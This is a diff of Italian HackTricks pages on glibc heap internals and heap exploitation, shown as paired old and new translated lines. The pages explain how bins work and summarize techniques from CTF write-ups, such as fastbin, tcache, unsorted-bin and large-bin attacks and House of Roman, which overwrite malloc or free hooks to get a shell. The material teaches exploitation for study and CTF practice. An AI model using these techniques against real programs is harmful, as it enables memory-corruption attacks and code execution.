Il tcache ha diversi bins a seconda della dimensione e i puntatori iniziali al **primo chunk di ciascun indice e la quantità di chunk per indice si trovano all'interno di un chunk**. Questo significa che localizzando il chunk con queste informazioni (di solito il primo), è possibile trovare tutti i punti iniziali del tcache e la quantità di chunk Tcache.
|
||||
|
||||
### Fast bins
|
||||
|
||||
I fast bins sono progettati per **accelerare l'allocazione della memoria per chunk piccoli** mantenendo i chunk recentemente liberati in una struttura di accesso rapido. Questi bin utilizzano un approccio Last-In, First-Out (LIFO), il che significa che il **chunk liberato più di recente è il primo** a essere riutilizzato quando c'è una nuova richiesta di allocazione. Questo comportamento è vantaggioso per la velocità, poiché è più veloce inserire e rimuovere dalla cima di uno stack (LIFO) rispetto a una coda (FIFO).
|
||||
I fast bins sono progettati per **accelerare l'allocazione della memoria per chunk piccoli** mantenendo i chunk recentemente liberati in una struttura di accesso rapido. Questi bins utilizzano un approccio Last-In, First-Out (LIFO), il che significa che il **chunk liberato più di recente è il primo** a essere riutilizzato quando c'è una nuova richiesta di allocazione. Questo comportamento è vantaggioso per la velocità, poiché è più veloce inserire e rimuovere dalla cima di uno stack (LIFO) rispetto a una coda (FIFO).
|
||||
|
||||
Inoltre, **i fast bins utilizzano liste collegate semplici**, non doppie, il che migliora ulteriormente la velocità. Poiché i chunk nei fast bins non vengono uniti con i vicini, non c'è bisogno di una struttura complessa che consenta la rimozione dal mezzo. Una lista collegata semplice è più semplice e veloce per queste operazioni.
|
||||
|
||||
Fondamentalmente, ciò che accade qui è che l'intestazione (il puntatore al primo chunk da controllare) punta sempre all'ultimo chunk liberato di quella dimensione. Quindi:
|
||||
|
||||
- Quando un nuovo chunk viene allocato di quella dimensione, l'intestazione punta a un chunk libero da utilizzare. Poiché questo chunk libero punta al successivo da utilizzare, questo indirizzo viene memorizzato nell'intestazione in modo che la prossima allocazione sappia dove ottenere un chunk disponibile
|
||||
- Quando un chunk viene liberato, il chunk libero salverà l'indirizzo del chunk attualmente disponibile e l'indirizzo di questo chunk appena liberato verrà messo nell'intestazione
|
||||
- Quando un nuovo chunk viene allocato di quella dimensione, l'intestazione punta a un chunk libero da utilizzare. Poiché questo chunk libero punta al successivo da utilizzare, questo indirizzo viene memorizzato nell'intestazione in modo che la prossima allocazione sappia dove trovare un chunk disponibile.
|
||||
- Quando un chunk viene liberato, il chunk libero salverà l'indirizzo del chunk attualmente disponibile e l'indirizzo di questo chunk appena liberato verrà messo nell'intestazione.
|
||||
|
||||
La dimensione massima di una lista collegata è `0x80` e sono organizzate in modo che un chunk di dimensione `0x20` sarà nell'indice `0`, un chunk di dimensione `0x30` sarebbe nell'indice `1`...
|
||||
La dimensione massima di una lista collegata è `0x80` e sono organizzate in modo che un chunk di dimensione `0x20` si trovi nell'indice `0`, un chunk di dimensione `0x30` si troverebbe nell'indice `1`...
|
||||
|
||||
> [!CAUTION]
|
||||
> I chunk nei fast bins non sono impostati come disponibili, quindi vengono mantenuti come chunk di fast bin per un certo tempo invece di poter essere uniti con altri chunk liberi circostanti.
|
||||
> I chunk nei fast bins non sono impostati come disponibili, quindi vengono mantenuti come chunk fast bin per un certo tempo invece di poter essere uniti con altri chunk liberi circostanti.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
|
||||
@ -244,20 +244,20 @@ Fastbins[idx=1, size=0x30] 0x00
|
||||
|
||||
### Unsorted bin
|
||||
|
||||
Il bin non ordinato è un **cache** utilizzato dal gestore della memoria per rendere più veloce l'allocazione della memoria. Ecco come funziona: Quando un programma libera un chunk, e se questo chunk non può essere allocato in un tcache o fast bin e non collide con il top chunk, il gestore della memoria non lo mette immediatamente in un bin specifico piccolo o grande. Invece, prima cerca di **fonderlo con eventuali chunk liberi adiacenti** per creare un blocco più grande di memoria libera. Poi, posiziona questo nuovo chunk in un bin generale chiamato "unsorted bin."
|
||||
Il bin non ordinato è un **cache** utilizzato dal gestore della memoria per rendere più veloce l'allocazione della memoria. Ecco come funziona: quando un programma libera un blocco e se questo blocco non può essere allocato in un tcache o fast bin e non collide con il top chunk, il gestore della memoria non lo mette immediatamente in un bin specifico piccolo o grande. Invece, prima cerca di **fonderlo con eventuali blocchi liberi adiacenti** per creare un blocco più grande di memoria libera. Poi, posiziona questo nuovo blocco in un bin generale chiamato "unsorted bin."
|
||||
|
||||
Quando un programma **richiede memoria**, il gestore della memoria **controlla il bin non ordinato** per vedere se c'è un chunk di dimensioni sufficienti. Se ne trova uno, lo utilizza immediatamente. Se non trova un chunk adatto nel bin non ordinato, sposta tutti i chunk in questa lista nei loro bin corrispondenti, sia piccoli che grandi, in base alla loro dimensione.
|
||||
Quando un programma **richiede memoria**, il gestore della memoria **controlla il bin non ordinato** per vedere se c'è un blocco di dimensioni sufficienti. Se ne trova uno, lo utilizza immediatamente. Se non trova un blocco adatto nel bin non ordinato, sposta tutti i blocchi in questa lista nei loro bin corrispondenti, sia piccoli che grandi, in base alla loro dimensione.
|
||||
|
||||
Nota che se un chunk più grande viene diviso in 2 metà e il resto è più grande di MINSIZE, verrà rimesso nel bin non ordinato.
|
||||
Nota che se un blocco più grande viene diviso in 2 metà e il resto è più grande di MINSIZE, verrà rimesso nel bin non ordinato.
|
||||
|
||||
Quindi, il bin non ordinato è un modo per accelerare l'allocazione della memoria riutilizzando rapidamente la memoria recentemente liberata e riducendo la necessità di ricerche e fusioni che richiedono tempo.
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che anche se i chunk appartengono a categorie diverse, se un chunk disponibile collide con un altro chunk disponibile (anche se originariamente appartengono a bin diversi), verranno fusi.
|
||||
> Nota che anche se i blocchi appartengono a categorie diverse, se un blocco disponibile collide con un altro blocco disponibile (anche se originariamente appartengono a bin diversi), verranno fusi.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aggiungi un esempio di chunk non ordinato</summary>
|
||||
<summary>Aggiungi un esempio di blocco non ordinato</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
@ -368,9 +368,9 @@ chunks[9] = malloc(0x110);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Nota come allochiamo e liberiamo 9 chunk della stessa dimensione in modo che **riempiano il tcache** e l'ottavo è memorizzato nel bin non ordinato perché è **troppo grande per il fastbin** e il nono non è liberato, quindi il nono e l'ottavo **non vengono uniti con il chunk superiore**. Poi allochiamo un chunk più grande di 0x110 che fa sì che **il chunk nel bin non ordinato vada nel bin piccolo**.
|
||||
Nota come allochiamo e liberiamo 9 chunk della stessa dimensione in modo che **riempiano il tcache** e l'ottavo è memorizzato nel bin non ordinato perché è **troppo grande per il fastbin** e il nono non è liberato, quindi il nono e l'ottavo **non vengono uniti con il chunk superiore**. Poi allochiamo un chunk più grande di 0x110 che fa **andare il chunk nel bin non ordinato nel small bin**.
|
||||
|
||||
Compilalo e debugga con un breakpoint nell'operazione `ret` dalla funzione `main`. Poi con `gef` puoi vedere che il bin tcache è pieno e un chunk è nel bin piccolo:
|
||||
Compilalo e debugga con un breakpoint nell'opcode `ret` dalla funzione `main`. Poi con `gef` puoi vedere che il bin tcache è pieno e un chunk è nel small bin:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
@ -451,7 +451,7 @@ Ci sono:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aggiungi un esempio di grande blocco</summary>
|
||||
<summary>Aggiungi un esempio di grande dimensione</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
@ -468,7 +468,7 @@ chunks[0] = malloc(0x2000);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Vengono eseguite 2 allocazioni grandi, poi una viene liberata (mettendola nel bin non ordinato) e viene effettuata un'allocazione più grande (spostando quella libera dal bin non ordinato al bin grande).
|
||||
2 grandi allocazioni vengono eseguite, poi una viene liberata (mettendola nel bin non ordinato) e viene effettuata un'allocazione più grande (spostando quella libera dal bin non ordinato al bin grande).
|
||||
|
||||
Compilalo e debugga con un breakpoint nell'operazione `ret` dalla funzione `main`. Poi con `gef` puoi vedere che il bin tcache è pieno e un chunk è nel bin grande:
|
||||
```bash
|
||||
|
||||
@ -6,12 +6,11 @@
|
||||
|
||||
Per ulteriori informazioni su cosa sia un fast bin, controlla questa pagina:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
Poiché il fast bin è una lista collegata singola, ci sono molte meno protezioni rispetto ad altri bin e basta **modificare un indirizzo in un chunk fast bin liberato** per poter **allocare successivamente un chunk in qualsiasi indirizzo di memoria**.
|
||||
Poiché il fast bin è una lista collegata singolarmente, ci sono molte meno protezioni rispetto ad altri bin e **modificare un indirizzo in un chunk fast bin liberato** è sufficiente per poter **allocare successivamente un chunk in qualsiasi indirizzo di memoria**.
|
||||
|
||||
In sintesi:
|
||||
```c
|
||||
@ -126,7 +125,7 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
|
||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
|
||||
- È possibile allocare chunk, liberarli, leggere i loro contenuti e riempirli (con una vulnerabilità di overflow).
|
||||
- **Consolidare chunk per infoleak**: La tecnica consiste fondamentalmente nell'abusare dell'overflow per creare un falso `prev_size` in modo che un chunk precedente venga inserito all'interno di uno più grande, quindi quando si allocca il più grande contenente un altro chunk, è possibile stampare i suoi dati e rivelare un indirizzo a libc (`main_arena+88`).
|
||||
- **Sovrascrivere malloc hook**: Per questo, e abusando della situazione di sovrapposizione precedente, è stato possibile avere 2 chunk che puntavano alla stessa memoria. Pertanto, liberandoli entrambi (liberando un altro chunk nel mezzo per evitare protezioni) è stato possibile avere lo stesso chunk nel fast bin 2 volte. Poi, è stato possibile allocarlo di nuovo, sovrascrivere l'indirizzo del chunk successivo per puntare a un po' prima di `__malloc_hook` (quindi punta a un intero che malloc pensa sia una dimensione libera - un altro bypass), allocarlo di nuovo e poi allocare un altro chunk che riceverà un indirizzo per malloc hooks.\
|
||||
- **Sovrascrivere malloc hook**: Per questo, e abusando della situazione di sovrapposizione precedente, è stato possibile avere 2 chunk che puntavano alla stessa memoria. Pertanto, liberandoli entrambi (liberando un altro chunk nel mezzo per evitare protezioni) è stato possibile avere lo stesso chunk nel fast bin 2 volte. Poi, è stato possibile allocarlo di nuovo, sovrascrivere l'indirizzo del chunk successivo per puntare a un po' prima di `__malloc_hook` (quindi punta a un intero che malloc pensa sia una dimensione libera - un altro bypass), allocarlo di nuovo e poi allocare un altro chunk che riceverà un indirizzo ai malloc hooks.\
|
||||
Infine, un **one gadget** è stato scritto lì.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
|
||||
- C'è un overflow dell'heap e uso dopo la liberazione e doppia liberazione perché quando un chunk viene liberato è possibile riutilizzare e ri-liberare i puntatori.
|
||||
|
||||
@ -135,7 +135,7 @@ free.md
|
||||
## **`_int_free_create_chunk`**
|
||||
|
||||
- **Controlli in `_int_free_create_chunk`:**
|
||||
- Aggiungendo un chunk nel bin non ordinato, controlla se `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
|
||||
- Aggiungendo un chunk nel unsorted bin, controlla se `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
|
||||
- Messaggio di errore: `free(): corrupted unsorted chunks`
|
||||
|
||||
## `do_check_malloc_state`
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informazioni di Base
|
||||
## Informazioni di base
|
||||
|
||||
Questa era una tecnica molto interessante che consentiva RCE senza leak tramite fake fastbins, l'attacco unsorted_bin e sovrascritture relative. Tuttavia è stata [**patchata**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
|
||||
|
||||
@ -19,13 +19,13 @@ Questa era una tecnica molto interessante che consentiva RCE senza leak tramite
|
||||
- Modificare i puntatori fastbin e unsorted bin
|
||||
- 12 bit di casualità devono essere forzati (0,02% di possibilità) di funzionare
|
||||
|
||||
## Passi di Attacco
|
||||
## Passi dell'attacco
|
||||
|
||||
### Parte 1: Fastbin Chunk punta a \_\_malloc_hook
|
||||
|
||||
Crea diversi chunk:
|
||||
|
||||
- `fastbin_victim` (0x60, offset 0): chunk UAF da modificare successivamente per puntare al valore di LibC.
|
||||
- `fastbin_victim` (0x60, offset 0): chunk UAF da modificare successivamente per puntare al valore LibC.
|
||||
- `chunk2` (0x80, offset 0x70): Per una buona allineamento
|
||||
- `main_arena_use` (0x80, offset 0x100)
|
||||
- `relative_offset_heap` (0x60, offset 0x190): offset relativo sul chunk 'main_arena_use'
|
||||
@ -51,17 +51,17 @@ unsorted: leftover_main
|
||||
```
|
||||
- `fastbin_victim` ha un `fd` che punta a `relative_offset_heap`
|
||||
- `relative_offset_heap` è un offset di distanza da `fake_libc_chunk`, che contiene un puntatore a `main_arena + 0x68`
|
||||
- Modificando solo l'ultimo byte di `fastbin_victim.fd` è possibile far sì che `fastbin_victim` punti a `main_arena + 0x68`
|
||||
- Cambiando semplicemente l'ultimo byte di `fastbin_victim.fd` è possibile far sì che `fastbin_victim` punti a `main_arena + 0x68`
|
||||
|
||||
Per le azioni precedenti, l'attaccante deve essere in grado di modificare il puntatore fd di `fastbin_victim`.
|
||||
|
||||
Poi, `main_arena + 0x68` non è così interessante, quindi modifichiamolo affinché il puntatore punti a **`__malloc_hook`**.
|
||||
|
||||
Nota che `__memalign_hook` di solito inizia con `0x7f` e zeri prima di esso, quindi è possibile falsificarlo come un valore nel fast bin `0x70`. Poiché gli ultimi 4 bit dell'indirizzo sono **casuali**, ci sono `2^4=16` possibilità affinché il valore punti dove ci interessa. Quindi qui viene eseguito un attacco BF affinché il chunk finisca come: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`**.
|
||||
Nota che `__memalign_hook` di solito inizia con `0x7f` e zeri prima di esso, quindi è possibile falsificarlo come un valore nel fast bin `0x70`. Poiché gli ultimi 4 bit dell'indirizzo sono **casuali**, ci sono `2^4=16` possibilità per il valore finale a cui siamo interessati. Quindi qui viene eseguito un attacco BF affinché il chunk finisca come: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`**.
|
||||
|
||||
(Per ulteriori informazioni sugli altri byte, controlla la spiegazione nell'[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ esempio](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Se il BF non funziona, il programma si blocca semplicemente (quindi inizia di nuovo finché non funziona).
|
||||
|
||||
Poi, vengono eseguiti 2 malloc per rimuovere i 2 chunk fast bin iniziali e un terzo viene allocato per ottenere un chunk in **`__malloc_hook:`**
|
||||
Poi, vengono eseguiti 2 malloc per rimuovere i 2 chunk iniziali del fast bin e un terzo viene allocato per ottenere un chunk in **`__malloc_hook:`**
|
||||
```c
|
||||
malloc(0x60);
|
||||
malloc(0x60);
|
||||
|
||||
@ -16,14 +16,14 @@ Fondamentalmente, qui puoi vedere come, nell'ultima versione "attuale" di glibc
|
||||
|
||||
In quell'esempio puoi trovare le seguenti condizioni:
|
||||
|
||||
- Un grande chunk è allocato
|
||||
- Un grande chunk più piccolo del primo ma nello stesso indice è allocato
|
||||
- Un chunk grande è allocato
|
||||
- Un chunk grande più piccolo del primo ma nello stesso indice è allocato
|
||||
- Deve essere più piccolo, quindi nel bin deve andare per primo
|
||||
- (Un chunk per prevenire la fusione con il chunk superiore è creato)
|
||||
- Poi, il primo grande chunk viene liberato e un nuovo chunk più grande di esso viene allocato -> Chunk1 va nel large bin
|
||||
- Poi, il secondo grande chunk viene liberato
|
||||
- Poi, il primo chunk grande viene liberato e un nuovo chunk più grande di esso è allocato -> Chunk1 va nel large bin
|
||||
- Poi, il secondo chunk grande viene liberato
|
||||
- Ora, la vulnerabilità: L'attaccante può modificare `chunk1->bk_nextsize` in `[target-0x20]`
|
||||
- Poi, un chunk più grande del chunk 2 viene allocato, quindi chunk2 viene inserito nel large bin sovrascrivendo l'indirizzo `chunk1->bk_nextsize->fd_nextsize` con l'indirizzo di chunk2
|
||||
- Poi, un chunk più grande del chunk 2 è allocato, quindi chunk2 viene inserito nel large bin sovrascrivendo l'indirizzo `chunk1->bk_nextsize->fd_nextsize` con l'indirizzo di chunk2
|
||||
|
||||
> [!TIP]
|
||||
> Ci sono altri scenari potenziali, la cosa è aggiungere al large bin un chunk che è **più piccolo** di un attuale chunk X nel bin, quindi deve essere inserito proprio prima di esso nel bin, e dobbiamo essere in grado di modificare **`bk_nextsize`** di X poiché è lì che l'indirizzo del chunk più piccolo sarà scritto.
|
||||
@ -50,7 +50,7 @@ Puoi trovare un'altra ottima spiegazione di questo attacco in [**guyinatuxedo**]
|
||||
|
||||
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
|
||||
- Attacco large bin nella stessa situazione in cui appare in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
|
||||
- Il primitivo di scrittura è più complesso, perché `global_max_fast` è inutile qui.
|
||||
- La primitiva di scrittura è più complessa, perché `global_max_fast` è inutile qui.
|
||||
- FSOP è necessario per completare l'exploit.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -18,7 +18,7 @@ Tuttavia, oggigiorno, se esegui il codice menzionato, riceverai l'errore: **`mal
|
||||
|
||||
### Attacco agli indici Tcache
|
||||
|
||||
Di solito è possibile trovare all'inizio dell'heap un chunk contenente la **quantità di chunk per indice** all'interno del tcache e l'indirizzo al **chunk head di ciascun indice tcache**. Se per qualche motivo è possibile modificare queste informazioni, sarebbe possibile **far puntare il chunk head di un indice a un indirizzo desiderato** (come `__malloc_hook`) per poi allocare un chunk della dimensione dell'indice e sovrascrivere i contenuti di `__malloc_hook` in questo caso.
|
||||
Di solito è possibile trovare all'inizio dell'heap un chunk contenente la **quantità di chunk per indice** all'interno del tcache e l'indirizzo del **chunk head di ciascun indice tcache**. Se per qualche motivo è possibile modificare queste informazioni, sarebbe possibile **far puntare il chunk head di un indice a un indirizzo desiderato** (come `__malloc_hook`) per poi allocare un chunk della dimensione dell'indice e sovrascrivere i contenuti di `__malloc_hook` in questo caso.
|
||||
|
||||
## Examples
|
||||
|
||||
@ -27,16 +27,16 @@ Di solito è possibile trovare all'inizio dell'heap un chunk contenente la **qua
|
||||
- **Attacco Tcache**: Il binario è vulnerabile a un overflow dell'heap di 1B. Questo sarà abusato per cambiare l'**header di dimensione** di un chunk allocato rendendolo più grande. Poi, questo chunk sarà **liberato**, aggiungendolo al tcache di chunk di dimensione falsa. Poi, allochiamo un chunk con la dimensione falsa, e il chunk precedente sarà **restituito sapendo che questo chunk era in realtà più piccolo** e questo offre l'opportunità di **sovrascrivere il prossimo chunk in memoria**.\
|
||||
Abuseremo di questo per **sovrascrivere il puntatore FD del prossimo chunk** per puntare a **`malloc_hook`**, in modo che sia possibile allocare 2 puntatori: prima il puntatore legittimo che abbiamo appena modificato, e poi la seconda allocazione restituirà un chunk in **`malloc_hook`** che è possibile abusare per scrivere un **one gadget**.
|
||||
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
|
||||
- **Libc info leak**: C'è un uso dopo la liberazione e un doppio libero. In questo writeup l'autore ha fatto trapelare un indirizzo di libc leggendo l'indirizzo di un chunk posizionato in un piccolo bin (come se lo si liberasse dal bin non ordinato ma dal piccolo).
|
||||
- **Attacco Tcache**: Un Tcache viene eseguito tramite un **doppio libero**. Lo stesso chunk viene liberato due volte, quindi all'interno del Tcache il chunk punterà a se stesso. Poi, viene allocato, il suo puntatore FD viene modificato per puntare al **free hook** e poi viene allocato di nuovo, quindi il prossimo chunk nella lista andrà nel free hook. Poi, questo viene anche allocato ed è possibile scrivere l'indirizzo di `system` qui, quindi quando un malloc contenente `"/bin/sh"` viene liberato otteniamo una shell.
|
||||
- **Libc info leak**: C'è un uso dopo il rilascio e un doppio rilascio. In questo writeup, l'autore ha rivelato un indirizzo di libc leggendo l'indirizzo di un chunk posizionato in un piccolo bin (come rivelandolo dal bin non ordinato ma da quello piccolo)
|
||||
- **Attacco Tcache**: Un Tcache viene eseguito tramite un **doppio rilascio**. Lo stesso chunk viene liberato due volte, quindi all'interno del Tcache il chunk punterà a se stesso. Poi, viene allocato, il suo puntatore FD viene modificato per puntare al **free hook** e poi viene allocato di nuovo, quindi il prossimo chunk nella lista andrà nel free hook. Poi, questo viene anche allocato ed è possibile scrivere l'indirizzo di `system` qui, quindi quando un malloc contenente `"/bin/sh"` viene liberato, otteniamo una shell.
|
||||
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
|
||||
- La principale vulnerabilità qui è la capacità di `free` qualsiasi indirizzo nell'heap indicando il suo offset.
|
||||
- La principale vulnerabilità qui è la capacità di `free` qualsiasi indirizzo nell'heap indicando il suo offset
|
||||
- **Attacco agli indici Tcache**: È possibile allocare e liberare un chunk di una dimensione che, quando memorizzato all'interno del chunk tcache (il chunk con le informazioni dei bin tcache), genererà un **indirizzo con il valore 0x100**. Questo perché il tcache memorizza la quantità di chunk in ciascun bin in byte diversi, quindi un chunk in un indice specifico genera il valore 0x100.
|
||||
- Poi, questo valore sembra che ci sia un chunk di dimensione 0x100. Consentendo di abusarne liberando questo indirizzo. Questo **aggiungerà quell'indirizzo all'indice dei chunk di dimensione 0x100 nel tcache**.
|
||||
- Poi, **allocando** un chunk di dimensione **0x100**, l'indirizzo precedente verrà restituito come un chunk, consentendo di sovrascrivere altri indici tcache.\
|
||||
Ad esempio, mettendo l'indirizzo di malloc hook in uno di essi e allocando un chunk della dimensione di quell'indice garantirà un chunk nel calloc hook, che consente di scrivere un one gadget per ottenere una shell.
|
||||
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
|
||||
- Stessa vulnerabilità di prima con una restrizione extra.
|
||||
- Stessa vulnerabilità di prima con una restrizione extra
|
||||
- **Attacco agli indici Tcache**: Attacco simile a quello precedente ma utilizzando meno passaggi liberando **il chunk che contiene le informazioni tcache** in modo che il suo indirizzo venga aggiunto all'indice tcache della sua dimensione, quindi è possibile allocare quella dimensione e ottenere le informazioni del chunk tcache come un chunk, il che consente di aggiungere il free hook come indirizzo di un indice, allocarlo e scrivere un one gadget su di esso.
|
||||
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
|
||||
- **Write After Free** per aggiungere un numero al puntatore `fd`.
|
||||
|
||||
@ -24,14 +24,14 @@ Quindi, fondamentalmente, questo attacco consente di **impostare un grande numer
|
||||
>
|
||||
> Nota che sovrascrivere **`global_max_fast`** potrebbe aiutare in questo caso fidandosi che il fast bin sarà in grado di gestire tutte le altre allocazioni fino al completamento dell'exploit.
|
||||
|
||||
Il codice di [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) lo spiega molto bene, anche se se modifichi i malloc per allocare memoria abbastanza grande da non finire in un Tcache puoi vedere che l'errore precedentemente menzionato appare impedendo questa tecnica: **`malloc(): unsorted double linked list corrupted`**
|
||||
Il codice di [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) lo spiega molto bene, anche se se modifichi le malloc per allocare memoria abbastanza grande da non finire in un Tcache puoi vedere che l'errore precedentemente menzionato appare impedendo questa tecnica: **`malloc(): unsorted double linked list corrupted`**
|
||||
|
||||
## Unsorted Bin Infoleak Attack
|
||||
|
||||
Questo è in realtà un concetto molto basilare. I chunk nell'unsorted bin avranno dei puntatori. Il primo chunk nell'unsorted bin avrà effettivamente i link **`fd`** e **`bk`** **che puntano a una parte dell'arena principale (Glibc)**.\
|
||||
Pertanto, se puoi **mettere un chunk all'interno di un unsorted bin e leggerlo** (use after free) o **allocarlo di nuovo senza sovrascrivere almeno 1 dei puntatori** per poi **leggerlo**, puoi avere una **Glibc info leak**.
|
||||
|
||||
Un simile [**attacco utilizzato in questo writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) è stato quello di abusare di una struttura di 4 chunk (A, B, C e D - D serve solo a prevenire la consolidazione con il top chunk) quindi un overflow di byte nullo in B è stato utilizzato per far indicare a C che B non era utilizzato. Inoltre, in B i dati `prev_size` sono stati modificati in modo che la dimensione invece di essere la dimensione di B fosse A+B.\
|
||||
Un simile [**attacco utilizzato in questo writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) è stato quello di abusare di una struttura di 4 chunk (A, B, C e D - D serve solo a prevenire la consolidazione con il top chunk) quindi un overflow di byte nullo in B è stato utilizzato per far indicare a C che B era inutilizzato. Inoltre, in B i dati `prev_size` sono stati modificati in modo che la dimensione invece di essere la dimensione di B fosse A+B.\
|
||||
Poi C è stato deallocato e consolidato con A+B (ma B era ancora in uso). Un nuovo chunk di dimensione A è stato allocato e poi gli indirizzi di libc sono stati scritti in B da dove sono stati rivelati.
|
||||
|
||||
## References & Other examples
|
||||
@ -39,17 +39,17 @@ Poi C è stato deallocato e consolidato con A+B (ma B era ancora in uso). Un nuo
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
|
||||
- L'obiettivo è sovrascrivere una variabile globale con un valore maggiore di 4869 in modo da poter ottenere il flag e PIE non è abilitato.
|
||||
- È possibile generare chunk di dimensioni arbitrarie e c'è un overflow heap con la dimensione desiderata.
|
||||
- L'attacco inizia creando 3 chunk: chunk0 per abusare dell'overflow, chunk1 da sovrascrivere e chunk2 affinché il top chunk non consolidi i precedenti.
|
||||
- L'attacco inizia creando 3 chunk: chunk0 per abusare dell'overflow, chunk1 da sovrascrivere e chunk2 in modo che il top chunk non consolidi i precedenti.
|
||||
- Poi, chunk1 viene liberato e chunk0 viene sovrascritto in modo che il puntatore `bk` di chunk1 punti a: `bk = magic - 0x10`
|
||||
- Poi, chunk3 viene allocato con la stessa dimensione di chunk1, il che attiverà l'attacco unsorted bin e modificherà il valore della variabile globale, rendendo possibile ottenere il flag.
|
||||
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
|
||||
- La funzione di merge è vulnerabile perché se entrambi gli indici passati sono lo stesso verrà realloc su di esso e poi liberato ma restituendo un puntatore a quella regione liberata che può essere utilizzata.
|
||||
- Pertanto, **vengono creati 2 chunk**: **chunk0** che verrà unito con se stesso e chunk1 per prevenire la consolidazione con il top chunk. Poi, la **funzione di merge viene chiamata con chunk0** due volte, il che causerà un use after free.
|
||||
- Poi, la **funzione `view`** viene chiamata con l'indice 2 (che è l'indice del chunk use after free), il che **rivelerà un indirizzo libc**.
|
||||
- Poi, la funzione **`view`** viene chiamata con l'indice 2 (che è l'indice del chunk use after free), il che **rivelerà un indirizzo libc**.
|
||||
- Poiché il binario ha protezioni per allocare solo dimensioni maggiori di **`global_max_fast`**, quindi non viene utilizzato alcun fastbin, verrà utilizzato un attacco unsorted bin per sovrascrivere la variabile globale `global_max_fast`.
|
||||
- Poi, è possibile chiamare la funzione di modifica con l'indice 2 (il puntatore use after free) e sovrascrivere il puntatore `bk` per puntare a `p64(global_max_fast-0x10)`. Poi, creando un nuovo chunk utilizzerà l'indirizzo libero precedentemente compromesso (0x20) che **attiverà l'attacco unsorted bin** sovrascrivendo il `global_max_fast` con un valore molto grande, consentendo ora di creare chunk nei fast bin.
|
||||
- Poi, è possibile chiamare la funzione di edit con l'indice 2 (il puntatore use after free) e sovrascrivere il puntatore `bk` per puntare a `p64(global_max_fast-0x10)`. Poi, creando un nuovo chunk utilizzerà l'indirizzo libero precedentemente compromesso (0x20) che **attiverà l'attacco unsorted bin** sovrascrivendo il `global_max_fast` con un valore molto grande, consentendo ora di creare chunk nei fast bins.
|
||||
- Ora viene eseguito un **attacco fast bin**:
|
||||
- Prima di tutto si scopre che è possibile lavorare con fast **chunk di dimensione 200** nella posizione **`__free_hook`**:
|
||||
- Prima di tutto, si scopre che è possibile lavorare con fast **chunk di dimensione 200** nella posizione **`__free_hook`**:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
@ -60,9 +60,9 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
</code></pre>
|
||||
- Se riusciamo a ottenere un fast chunk di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore di funzione che verrà eseguito.
|
||||
